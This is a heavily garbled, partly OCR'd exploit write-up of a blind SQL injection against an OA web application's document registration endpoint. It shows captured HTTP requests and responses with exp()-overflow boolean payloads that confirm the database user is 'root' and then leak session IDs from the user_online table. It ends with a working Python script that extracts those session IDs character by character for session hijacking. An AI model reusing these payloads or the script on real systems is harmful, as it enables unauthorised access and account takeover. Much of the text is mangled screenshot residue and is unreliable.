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% Fpayload

POST http://127.0.0.1:8088//general/document/index.php/recv/register/insert HTTP/1.1
Host: 127.0.0.1:8088

User-Agent: Mozilla/5.0 (Windows NT 6.1, WOWG64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/44.0.2403.125 Safari/537.36

Accept-Encoding: gzip, deflate

Accept: */*

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 76

title)values("'""*exp(if(ascii(substr(user(),1,1))%3d114,1,710)))# =1&_SERVER=

ZiRAAmysql bool§iE,

exp(if(ascii(substr(user(),1,1))=114,1,710))

At EH Buser()E—NIMWasciilB 2B A4, "r", MRAIE,WIGHBIRE302, WMRAER, MR
500,

ascii("r")=114, exp()REUER>709M %, MaikE. (ZFIE T, user() " "root")


javascript:void(0);

Request Response

EPaums Headers | Hex

L POST . 1 .
htetp://127.0.0.1:8088//general/document/ index. php/recv/register/ inse [ 2 i r
rt HTTP/1.1 3 Date: Fri, 31 Jul 2020 03:13:37 GHT

2 Host: 127.0.0.1:8088 4 Content-Type: text/html; charset=gbk
3 User-Agent: Mozilla/5.0 (Vindows NT €.1; WOWE4) AppleVebKit/537.36 5 Comnection: close
(KHTHL, like Gecke) Chrome/44.0.2403.125 Safari/537.36 & Set-Cookie: PHPSESSID=2rcavSgnZhi3lpgemgbruuhmgd: path=/
4 Accept-Encoding: gzip, deflate 7 Expires: Thu, 19 Nov 1981 08:52:00 GHT
5 Accept: */* @ Cache-Control: no-store, mo-cache, must-revalidate, post-check=0,
& Connection: close pre-check=0
’ Content-Type: application/x-wwv-form-urlencoded ¢ Pragma: no-cache
o Content-Length: 7€ Location: recv/register/register_for/?rid=1463
Content-Length: 0
title)jvalues ("' "“exp (if (ascii(substr (user(),1,1))% 1, 710)) ) #=1&
_SERVER=
1
.- .
r - I v
— — # st il
@ | =||l2]l=]|7wweasearch term 0 matches @ |[=]||]| =] |mweasearchterm | *|*F /2 0mkidiches
Done 405 bytes | 6,387 millis
FUPRENITY = . .o s T \& N s
Ziduser()E—uMasciifdn114,B"r", 121302, HANE
Request Response
E Params | Headers | Hex E Hex | HTML | Render
1 POST 0 1 HTTPIJ..t 500 Iln:ernal Server Error )
http://127.0.0.1:8088//general/document/ index. php/recv/register/ inse [ Server:
re HTTP/L.1 Date: Fri, 31 Jul 2020 03:28:40 GNT
2 Host: 127.0.0.1:8088 Content-Type: text/html: charset=gbk
3 User-Agent: Mozilla/S5.0 (Vindows NT £.1; WOWE4) AppleWebKit/537.3E Connection: close
(EHTHL, liks Gecko) Chroms/44.0.2403.125 Safari/537.36 Ser-Cookie: PHPSESSID=153p2=laqnqdSrmiusmihldnbséd; path=/
4 Accept-Encoding: gzip, deflate Expires: Thu, 19 Hov 1981 08:52:00
5 hccept: */* & Cache-Control: no-store, mo-cache, must-revalidate, post-check=0,
& Connection: close pre-check=0
7 Content-Type: application/x-wwv-form-urlencoded % Pragma: no-cache
o Content-Length: 7€ 10 X-UA-Compatible: IE=10
rendersr: webkit
titlejvalues ("' ""exp(if (ascii(substr (user(),1,1)) ,710)) ) #=1g Contenc-Length: 1781
_SERVER= 3
, 14 </DOCTYPE html>
15 ¢/--[if IE 6 ]> <html class="ieé lte ie6 lte ie7 lte ie§ lte ied">
<![endif]-->
16 </=-[if 1te IE 6 ]> <html class="lte ieé lte ie7 lte ied lts ied">
<![endif]-->
17 «¢!==[if 1te IE 7 ]> <html class="1te ie7 lte ie§ lte ie9">
<i[endif] --> - - -
18 </--[if 1te IE 8 ]> <html class="lte ie3 lte ie9"> <![endif]-->
<!--[if 1te IE 9 ]> <html class="lte ieS"> <7[endif]-->
0E <!--[if (gte IE 10)| ! (IE)]><!-=><html><!--<! [ondif]
E <head>
<meta http-equive"Content-Type” content="text/html;
charssc=gbk" />
<meta name="renderer” content="webkit">
<meta http-equiv="X-UA-Compatible" comtent="IE=10,chrome=1" />
<meta name="viewport” content="width=device-width,
initial-scale=1.0, user-scalable=0, minimum-scale=1.0,
L max imum-scale=1.0"> L
v 26 Sty g v
R - = = = =R ’ﬂm‘:
@ | =] t]||=2]]7wea search term 0 matches @ |[=||t] =] |Tye a search term ey ]'[r/.vﬂ *lches
Done 2,187 bytes | 6,324 millis

2ituser()E—{IfasciiiBN113,iRE500, #8871

Request Response

Epaﬂma Headers | Hex @Huﬂu Hex [ HTML | Render

1 POST A LI 1 500 *tcrnnl Server Error 0
http://127.0.0.1:8088//general/document/ index. php/recv/register/ inse [ Ta1in%
rt HTTP/1.1 Date: Fri, 31 Jul 2020 03:28:43 GMT
2 Host: 127.0.0.1:8088 Content-Type: text/html; charset=gbk
3 User-Agent: Mozilla/5.0 (Vindows NT €.1; WOWE4) AppleWebKit/537.36 5 Connection: close
(KHTHL, like Gecko) Chrome/44.0.2403.125 Safari/537.36 & Set-Cockie: PHPSESSID=pfapSitamicOch3Sglhalfic path:
4 Accept-Encoding: gzip, deflate 7 Expires: Thu, 19 Nov 1581 08
5 Accept: */® 9 Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
& Connection: close pre-check=0
7 Content-Type: application/x-wwy-form-urlencoded Pragma: no-cache
Content-Length: 7€ ¥-Uk-Compatible: TE=10
renderer: webkit
title)values ("' "“exp (if (ascii(substr (user (), 1,1)) ,710) ) ) #=1s Content-Length: 1781
_SERVER=
{ <!DOCTYPE html>
<i--[if IE 6 ]> <html class="ieé lta ieé lte ie? lta ie§ lte iad">
<![endif]-->
16 <!--[if 1te IE 6 ]> <html class="lte ieé lte ie7 lte ies lte ied">
<![endif]-->
17 <i--[if lte IE 7 1> <html class="lte ie? lte e lte ied">
<!fendif]-->
18 </--[if 1te IE 8 ]> <html class="lte ie§ lte ied"> <!/[endif]-->
ci--[if 1te IE & ]> <html class=Vlte 1e9"> <I[endif]-->
B <!--[if (gte IE 10)|!(IE)]><!--><html></--<![endif] -->
21E <head>
22 <meta http-equiv="Content-Type” content="text/html;
charssc=ghk” />
<meta name="renderer” content="webkit">
<meta http-squiv="X-UA-Compatible"” content="1E=10,chrome=1" />
<meta name="viewport" content="width=device-width,
initial-scale=1.0, user-scalable=0, minimur-scale=1.0,
L max imum-scale=1.0"> L
v 26 <title></title> . v
® I e i L it ,,D.mc
< + >.| |Type a search term 0 matches @ < + > | | Type a search tem 17 /7" Onkdiches
Daone 2187 bytes | 7,307 millis

=ituser()EE—1{iUMasciiiBN115,JR[E500, HAANER



Request

Raw | Params | Headers WE‘ Raw Hgad;u_m HTML | Render

POST s ETTR/ L. |£ 5uu|rnt ernal Server Error .
, , , , .

htep://127.0.0.1 fgeneral/document/index.php/recv/register/inse [° 2 Server:
rt HTTP/L.1 Dal’ﬂ Fri, 31 Jul 2020 03:28:32 GMT
2 Host: 127.0.0. x.um»uc Ty ext/html; chs gbk

ESSID=p3tébii3
: Thu, 18 Nov 1981 O
ol: no-stere, ne

T-Encoding: gaip, detlats

Content-Typs: application/x-www-form-urlencodsd
© Content-Length: 7€

] enders kit
10 titlejvalues ("' " exp (if (ascii(substr (user(),1,1))§3d11E, |, 710)) ) #=1c 12 Content-Length: 178

_SERVER=

e=1m />

k 1S
v v

=

Omatches (D) [ < ||+ > 2 searc ESgiy sy J:hes

Done 2,187 bytes | 12,386 millis

Sfuser()E—1fIMasciiidF116,i1R[E1500, RBARHER

exp(if(ascii(substr(user(),1,1))=114,1,710) 302
exp(if(ascii(substr(user(),2,1))=111,1,710) 302
exp(if(ascii(substr(user(),3,1))=111,1,710) 302
exp(if(ascii(substr(user(),4,1))=116,1,710) 302
Bfuser() = "root"

HEBIEARID

# database_length = 5
# database_name = "td_oa"
# user() = "root"

BHsession BRE

TEERDB, &Puser_onlineRPSIDFERPRETHFHsession ID, TRFATBE T sqliEFANEIRE
SeSSIOn,}\}\ﬁ'ﬁFE'Eioa/%émo

“user_online’

COMMENT

IENT

3 COMMENT

*CLIENT" : EmERT

ENGINE=MEMORY CHARS gbk COMMENT

?QEE‘?$N\¢|J-|

AREBEhttpluf 85K EF FANMIX, Flkisession idBIKE,
¥i&Epayload

title)values("'"*exp(if(ascii(substr((select/**/SID/**/from/**/user_online/**/limit/**/0,1),1,1))
>1,1,710)))# =1&_SERVER=



Request Response

Raw | Params | Headers | Hex

POST .
htep://127.0.0.1:8088//general/document/ index . php/recv/register/ inse [
rt HTTP/L.1

2 Host: 127.0.0.1:8088

User-Agent: Mozilla/5.0 (Vindows NT 6.1; WOWE4) AppleVebKit/537.36

HTTP/ L[1 302 |Moved Temporarily .
Server: nginx r
Date: Fri, 31 Jul 2020 04:58:13 GMT
Content-Type: text/html: charset=ghk
Connection: close

(EHTHL, like Gecko) Chrome/44.0.2403.125 Satari/537.36 ¢ Ser-Cookie: PHFSESSID=hagnheélBddmverm7éttors52l; path=/
4 Accept-Encoding: gzip, deflate 7 Expires: Thu, 18 Nov 1901 08:52:00 GNT
5 Accept: */* ¢ Cache-Control: no-store, mo-cache, must-revalidate, post-check=0,
& Connection: close pre-check=0
7 Content-Typs: application/x-wwv-form-urlencodsd ¢ Pragma: no-cache
5 Content-Length: 121 10 Location: recv/register/register_for/?rid=1483

9 Content-Length: 0
10 titlejvalues ("' "“exp(i ii(substr ((select/**/SID/**/trom/ **/user_ 12
online/**/Llimit/**/0, 1| 1)>1,1,710)) ) #=1&_SERVER= 3

T

.

s

©) lZJ + ][] [Te Omaches | (3) 3‘35 Type a search ferm

Ready 405 bytes | 217 millis
Request Response
Raw | Params | Headers | Hex Raw Hildﬁ HTML | Render
POST & HTTP/ L. J] 500 Enternal Server Error 0
htep://127.0.0.1:8088//general/document/ index. php/recv/register/ inse [© 2 Server:
rt HETTR/L.1 3 Date: Fri, 31 Jul 2020 04:58:17 GHT
2 Host: 127.0.0.1:8088 4 Content-Type: text/html; charset=gbk
3 User-Agent: Mozilla/5.0 (Vindows NT £.1; WOWE4) AppleWebKit/537.3E 5 Conmmection: close
(KHTHL, like Gecke) Chrome/44.0.2403.125 Safari/537.36 ¢ Set-Cookie: PHPSESSID=ubgfabuvrihr79q5shodlialsz: path=/
4 hccept-Encoding: gzip, deflate 7 Expires: Thu, 19 Nov 1981 08:52:00 GNT
5 Accept: */* ¢ Cache-Control: no-store, mo-cache, must-revalidate, post-check=0,
& Connection: close pre-check=0
Content-Type: application/x-wwv-form-urlencoded % Pragma: no-cache

o Content-Length: 121 X-Uk-Compatible: TE=10
renderer: webkit
10 title)values ("' " exp(i Content-Length: 1781

online/**/limit/**/0,1

ii{substr | (select/**/SID/**/from/**/user_
1)>1,1,710)) ) #=1&_SERVER=

14 <!DOCTYPE html>
5 </--[if IE 6 ]> <html class="ie6 lte ie6 lte is7 lts ied lte iso">
<![endif]-->
<!--[if 1te IE 6 ]> <html class="1ta ies lte ie7 lte ied lte_isd">
<![endif]-->
17 <i--[if lte IE 7 ]> <html class="lte ie7 lte ie8 lte ied">
<i[endif]-->
<i--[if 1te IE 8 ]> <html class="lte ie§ lte ie9"> <![endif]-->
<i-=[if 1te IE 8 ]> <html class="lte ieS"> <i[endif]-->
<i--[if (gte IE 10)|!(IE)]><!/--><heml><!--</![endif]-->
<head>
<meta http-equive"Content-Type" content="text/html:
charset=gbk" />
<meta name="renderer” content="webkit">
<meta http-equiv="X-UA-Compatible" content="1E=10,chrome=1" />
<meta name="viewport" content="width=device-width,
initial-scale=1.0, user-scalable=0, minimum-scale=1.0,

L max imum-scale=1.0"> L
v

26 (tlt]?h({t)tl“b L . v
@ EHEE iy ||

Ready 2,187 bytes | 252 millis

0 matches @ |

SRENEE26. 27fiMasciil3, 2B KTF1
exp(if(ascii(substr((select/**/SID/**/from/**/user_online/**/limit/**/0,1),1,1))>1,1,710)) 302
exp(if(ascii(substr((select/**/SID/**/from/**/user_online/**/limit/**/0,1),1,1))>1,1,710)) 500
269 E, 27191,

httpM@ A B #Set-Cookie: PHPSESSID=ubg6abuvrjhr79g55bodlia3s2; PHPSESSIDKEth}
26,

JiBHsessiontkE N 26,

FsEEsession id

FIFEfor B E3K B session idElH],

exp(if(ascii(substr((select/**/SID/**/from/**/user_online/**/limit/**/{ZEJL N F},1),{session
M JL{718},1))={ascill{&},1,710)))

ARRBMEMSLEENE _DE FFHHEHRAFRISAERNERRA . MUAATINREER, KX RERAT S5
B+ZoiE.
TEMAMNT:

import requests

import _thread

import time
requests.packages.urllib3.disable_warnings()



UNAME_length = 26
USERUID = []

header = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOWG64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36',"Content-Type":"application/x-
www-form-urlencoded",'Connection':'close'}

proxies = {'http': '127.0.0.1:8080",'https': '127.0.0.1:8080"'}

def get_url(url,num,uid):
global UNAME_length
global USERUID

litgh = 48
right = 120
tmp =0

while litgh <= right:
mid = int((litgh+right)/2)
if tmp == mid:
break
else: tmp = mid
flag = run_payload(url,uid,num,mid)

if flag:

litgh = mid
else:

right = mid

USERUID[num-1] = chr(mid)
print("session: ",num,chr(mid))

def run_payload(url,uid,num,mid):
try:
payload
=f"""title)values("'""*exp(if(ascii(substr((select/**/SID/**/from/**/user_online/**/limit/**/{uid
},1),{num}1))>%3d{mid},1,710)))# =1&_SERVER="""
req = requests.post(url, headers=header,
proxies=proxies,data=payload,verify=False,timeout=20,allow_redirects=False)
if req.status_code == 302:
return True
elif req.status_code == 500:
return False
elif req.status_code != 500:
return run_payload(url,uid,num,mid)
except Exception as e:
return run_payload(url,uid,num,mid)

def get_uname(url,uid):
USERUID.clear()
[USERUID.append("") for one in range(0,UNAME_length)]
for num in range(1,UNAME_length+1):
_thread.start_new_thread(get_url, (url,num,uid,)) # Z %%



tmp =0
while 1: # 155226 iIsession id

flag =0
for num in range(0,len(USERUID)):
if USERUID[num] !'="":
flag +=1
uname = ""
for num in range(0,len(USERUID)):
uname += str(USERUID[num])
if flag !'= tmp:
print(f"E5m: {flag}/{UNAME_length} SID:{uname} {USERUID} ")

tmp = flag
if flag == UNAME_length:
break
time.sleep(0.5)
return uname

def main(url):
url += "/general/document/index.php/recv/register/insert"
print(url)
uid=1 # JREXE LT F #Jsession
uname = get_uname(url,uid-1)
print("UNAME = ",uname)

url="http://www.xxx.com/"
main(url)

BRES

38 else

39 \1ght mld

a8 rint d

a fr (nud)

a2 1: " ynum, chr(mid) )

a3

aa

15 def “L,-a;,-: d(url,uid,num,mid):

26 try

a7 paylcad £ "title)values(™" xp(if( ii(substr((select/**/SID/**/From/**/ Jlimit/**/{ {uid}, \r\um‘ 1))>%3d{mid},1,718)))i=1& SERVER="""
a8 req = requests. pusc(url hcﬂdnrs hr.'adcr proxies=proxies,data-payload, verify thL‘Dut 20 alluw e e | ce)
a9 if req.status_code == 302:

50 return True

51 elif req.status_code == 500:

52 return False

53 elif req.status_code 5081

54 return run payload(url uid, num,mid)

55 except Exception as e

56 irn run payload(ur‘l uid, num,mid)

57

58

5E @ W N Wtews 1:emd v T+
session: 1

a
TS 22/26 SID:at3gdsZbeul3bbujgdelze ['a°, 't', ', '3', "', 'g’, 4", "', 's', 2", ‘b,
session: B 6
C7EAk: 23/26 SID:at3gaeszbeulsbbujgdelze ['a’, 't7, 'Y, '3%, 'Y, ‘g7, ‘4%, ‘e, 'sT, 27, b,
session: 3 p

B za,’zn SID:atpigaes2beulsbéujqdelze [‘a’, "t', °
session .
CsERk: 2%126 SID:atpagaes2beul3béujodelze2 ['a’, "t', 'p’, "3', %, 'q’, "4, 'e', 's', ‘2%, ‘b, ‘e, 'w', 1Y, '3, b, 'e%, Cw', 3T, g, CdY, B
session: S

ofEs: 25125 SID:atplvga6s2beul3béujodslzez [‘a’, ‘t', 'p', '3, 'v', 'q', ‘4%, '6', 's', '2°, ‘b, ‘e', ‘w’, ‘1%, '3, b, ‘€', 'w, ‘', ‘g, ‘d', "
UNAME = atpavgaes2beullbeujgdele2

FI A AR Hsession id, A& #cookiefg,Ih @ http://www.xxx.com/general/
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